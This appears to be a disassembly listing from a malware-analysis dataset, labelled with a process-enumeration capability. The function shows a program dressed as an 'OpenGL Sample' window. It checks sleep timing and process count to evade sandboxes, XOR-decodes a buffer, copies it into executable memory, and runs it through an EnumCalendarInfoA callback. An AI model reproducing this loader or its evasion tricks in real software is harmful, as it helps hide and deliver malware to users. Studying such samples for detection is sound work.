Function at 0x1400035a0
Capabilities:
Enumerate processes

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x608
movaps xmmword [rsp + 0x5c0], xmm6
movaps xmmword [rsp + 0x5d0], xmm7
movaps xmmword [rsp + 0x5e0], xmm8
movaps xmmword [rsp + 0x5f0], xmm9
lea rax, [0x1400014b0]
mov edx, 0x7f00
lea r12, str.GLSample
mov rbx, rcx
mov qword [rsp + 0x148], rax
xor ecx, ecx
mov qword [rsp + 0x150], 0
lea r14, [rsp + 0x3c0]
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rsp + 0x160], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov qword [rsp + 0x158], rbx
mov ecx, 4
mov qword [rsp + 0x168], rax
call qword [sym.imp.GDI32.dll_GetStockObject]
mov qword [rsp + 0x180], r12
lea rcx, [rsp + 0x140]
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x178], 0
mov dword [rsp + 0x140], 0x20
call qword [sym.imp.USER32.dll_RegisterClassA]
mov r9d, 0x80c80000
mov rdx, r12
xor ecx, ecx
lea r8, str.OpenGL_Sample
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov dword [rsp + 0x38], 0x100
mov dword [rsp + 0x30], 0x100
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rcx, rax
mov r13, rax
call qword [sym.imp.USER32.dll_GetDC]
mov rdx, r14
mov qword [rsp + 0x3c8], 0
mov r12, rax
movabs rax, 0x2500010028
mov qword [rsp + 0x3d0], 0
mov rcx, r12
mov qword [rsp + 0x3c0], rax
mov qword [rsp + 0x3d8], 0
mov qword [rsp + 0x3e0], 0
mov byte [rsp + 0x3c9], 0x18
mov byte [rsp + 0x3d7], 0x10
call qword [sym.imp.GDI32.dll_ChoosePixelFormat]
mov r8, r14
mov rcx, r12
mov edx, eax
call qword [sym.imp.GDI32.dll_SetPixelFormat]
mov rcx, r12
call qword [sym.imp.OPENGL32.dll_wglCreateContext]
mov rcx, r12
mov rdx, rax
mov r15, rax
mov rax, qword [sym.imp.OPENGL32.dll_wglMakeCurrent]
mov qword [rsp + 0x70], rax
call rax
mov rsi, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rsi
mov ecx, 0x12c
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
mov rbx, rax
call rbp
call rsi
sub eax, 0x12c
sub eax, ebx
movsxd rdx, eax
shr rdx, 0x20
xor eax, edx
sub eax, edx
cmp eax, 0x64
jg 0x140003bb8
call fcn.140003040
xor edx, edx
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp rax, 0xffffffffffffffff
mov rsi, rax
je 0x14000381c
xor eax, eax
mov ecx, 0x26
xor ebx, ebx
lea rdi, [rsp + 0x290]
rep stosq qword [rdi], rax
lea rdi, [rsp + 0x290]
mov rcx, rsi
mov dword [rsp + 0x290], 0x130
mov rdx, rdi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x140003bb8
nop word [rax + rax]
mov rdx, rdi
mov rcx, rsi
add ebx, 1
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1400037f8
cmp ebx, 0x28
jle 0x140003bb8
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movss xmm9, dword [0x1400b85e0]
pxor xmm6, xmm6
mov dword [rsp + 0x6c], r13d
movaps xmm8, xmm6
lea rbx, [rsp + 0x110]
nop word [rax + rax]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 1
mov rcx, rbx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
mov esi, eax
je 0x140003bc0
cmp dword [rsp + 0x118], 0x12
je 0x140003e70
mov rcx, rbx
call qword [sym.imp.USER32.dll_TranslateMessage]
mov rcx, rbx
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140003840
mov edx, dword [rsp + 0x94]
xor eax, eax
cmp edx, eax
ja 0x140003edf
mov ebx, dword [rsp + 0x94]
mov r9d, 0x40
mov r8d, 0x1000
xor ecx, ecx
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, rax
mov r8, rbx
mov rdx, r12
call sub.msvcrt.dll_memmove
mov r9d, 0x15
or r8d, 0xffffffff
mov edx, 0x400
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
nop dword [rax]
xor ecx, ecx
call sub.msvcrt.dll_exit
nop
cmp dword [rsp + 0x6c], 0xb72
je 0x140003cb0
cmp dword [rsp + 0x6c], 0xd0
jne 0x140003e93
mov ecx, 4
call qword [sym.imp.OPENGL32.dll_glBegin]
movaps xmm2, xmm6
movaps xmm1, xmm9
movaps xmm0, xmm6
mov rdi, qword [sym.imp.OPENGL32.dll_glColor3f]
call rdi
mov rsi, qword [sym.imp.OPENGL32.dll_glVertex2f]
movss xmm1, dword [0x1400b85e4]
movss xmm0, dword [0x1400b85e8]
call rsi
movss xmm2, dword [0x1400b85e0]
movaps xmm1, xmm6
movaps xmm0, xmm6
call rdi
movss xmm1, dword [0x1400b85e4]
movss xmm0, dword [0x1400b85ec]
call rsi
movss xmm7, dword [0x1400b85e0]
movaps xmm2, xmm6
movaps xmm1, xmm6
movaps xmm0, xmm7
call rdi
movaps xmm1, xmm7
movaps xmm0, xmm6
call rsi
movaps xmm3, xmm6
movaps xmm2, xmm6
movaps xmm1, xmm6
movaps xmm0, xmm6
call qword [sym.imp.OPENGL32.dll_glClearColor]
mov ecx, 0x4000
call qword [sym.imp.OPENGL32.dll_glClear]
movaps xmm3, xmm7
movaps xmm2, xmm6
movaps xmm1, xmm6
movaps xmm0, xmm8
call qword [sym.imp.OPENGL32.dll_glRotatef]
call qword [sym.imp.OPENGL32.dll_glPushMatrix]
call qword [sym.imp.OPENGL32.dll_glEnd]
call qword [sym.imp.OPENGL32.dll_glPopMatrix]
mov rcx, r12
call qword [sym.imp.GDI32.dll_SwapBuffers]
mov ecx, 1
call rbp
addss xmm8, dword [0x1400b85dc]
jmp 0x140003840
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [sym.imp.OPENGL32.dll_wglDeleteContext]
mov rcx, r15
mov qword [rsp + 0x88], rax
call rax
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
mov rdx, r12
mov rcx, r13
mov qword [rsp + 0x80], rax
call rax
cmp dword [rsp + 0x118], 0x12
jne 0x140003e50
mov esi, 1
call fcn.140002020
mov ecx, 4
call qword [sym.imp.OPENGL32.dll_glBegin]
mov rdi, qword [sym.imp.OPENGL32.dll_glColor3f]
pxor xmm2, xmm2
movaps xmm0, xmm6
movss xmm1, dword [0x1400b85e0]
call rdi
mov rax, qword [sym.imp.OPENGL32.dll_glVertex2f]
movss xmm1, dword [0x1400b85e4]
movss xmm0, dword [0x1400b85e8]
mov qword [rsp + 0x78], rax
call rax
movss xmm2, dword [0x1400b85e0]
movaps xmm1, xmm6
movaps xmm0, xmm6
call rdi
mov rax, qword [rsp + 0x78]
movss xmm1, dword [0x1400b85e4]
movss xmm0, dword [0x1400b85ec]
call rax
movss xmm7, dword [0x1400b85e0]
movaps xmm2, xmm6
movaps xmm1, xmm6
movaps xmm0, xmm7
call rdi
mov rax, qword [rsp + 0x78]
movaps xmm1, xmm7
movaps xmm0, xmm6
call rax
movaps xmm3, xmm6
movaps xmm2, xmm6
movaps xmm1, xmm6
movaps xmm0, xmm6
call qword [sym.imp.OPENGL32.dll_glClearColor]
mov ecx, 0x4000
call qword [sym.imp.OPENGL32.dll_glClear]
movaps xmm3, xmm7
movaps xmm2, xmm6
movaps xmm1, xmm6
movaps xmm0, xmm8
call qword [sym.imp.OPENGL32.dll_glRotatef]
call qword [sym.imp.OPENGL32.dll_glPushMatrix]
call qword [sym.imp.OPENGL32.dll_glEnd]
call qword [sym.imp.OPENGL32.dll_glPopMatrix]
mov rcx, r12
call qword [sym.imp.GDI32.dll_SwapBuffers]
mov ecx, 1
call rbp
test esi, esi
je 0x140003ca2
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rcx, r15
mov rax, qword [rsp + 0x88]
call rax
mov rdx, r12
mov rcx, r13
mov rax, qword [rsp + 0x80]
call rax
mov rcx, r13
call qword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [rsp + 0x120]
movaps xmm6, xmmword [rsp + 0x5c0]
movaps xmm7, xmmword [rsp + 0x5d0]
movaps xmm8, xmmword [rsp + 0x5e0]
movaps xmm9, xmmword [rsp + 0x5f0]
add rsp, 0x608
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, rbx
call qword [sym.imp.USER32.dll_TranslateMessage]
mov rcx, rbx
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140003cf9
mov rax, qword [sym.imp.OPENGL32.dll_wglDeleteContext]
mov qword [rsp + 0x88], rax
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
mov qword [rsp + 0x80], rax
jmp 0x140003de0
mov ecx, 4
call fcn.1400b31b0
mov rdx, qword [0x1400bd530]
xor r8d, r8d
mov rcx, rax
mov dword [rax], 0xb1b7
call fcn.1400b3810
mov r12, rax
call fcn.1400b33e0
mov rcx, r12
call fcn.14000eb90
mov ecx, 0x5dc
call rbp
mov r8, rsi
mov rdx, r13
mov rcx, r14
call fcn.140003130
jmp 0x140003b60
mov rcx, rax
mov edi, ebx
and ecx, 3
shl rcx, 3
shr edi, cl
xor byte [r12 + rax], dil
add rax, 1
jmp 0x140003b69
push rdi
push rsi
push rbx
sub rsp, 0x90
xor esi, esi
call fcn.14000d7d0
call fcn.140017820
mov rbx, qword [rax]
test rbx, rbx
jne 0x1400b454b
jmp 0x1400b45c1
test cl, cl
je 0x1400b4578
and esi, 1
je 0x1400b4560
mov esi, 1
call sub.msvcrt.dll__ismbblead
test eax, eax
je 0x1400b4547
cmp byte [rbx + 1], 1
sbb rbx, 0xffffffffffffffff
add rbx, 1
movsx ecx, byte [rbx]
cmp cl, 0x20
jle 0x1400b4528
mov eax, esi
xor eax, 1
cmp cl, 0x22
cmove esi, eax
jmp 0x1400b4536
test cl, cl
je 0x1400b4578
nop dword [rax]
movzx eax, byte [rbx + 1]
add rbx, 1
test al, al
je 0x1400b4578
cmp al, 0x20
jle 0x1400b4568
lea rdx, [rsp + 0x20]
xor eax, eax
mov ecx, 0xd
mov rdi, rdx
rep stosq qword [rdi], rax
mov rcx, rdx
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
test byte [rsp + 0x5c], 1
mov r9d, 0xa
je 0x1400b45a6
movzx r9d, word [rsp + 0x60]
mov rcx, qword [0x1400bdac0]
mov r8, rbx
xor edx, edx
add rsp, 0x90
pop rbx
pop rsi
pop rdi
jmp 0x1400035a0
lea rbx, [0x1400bc300]
jmp 0x1400b4578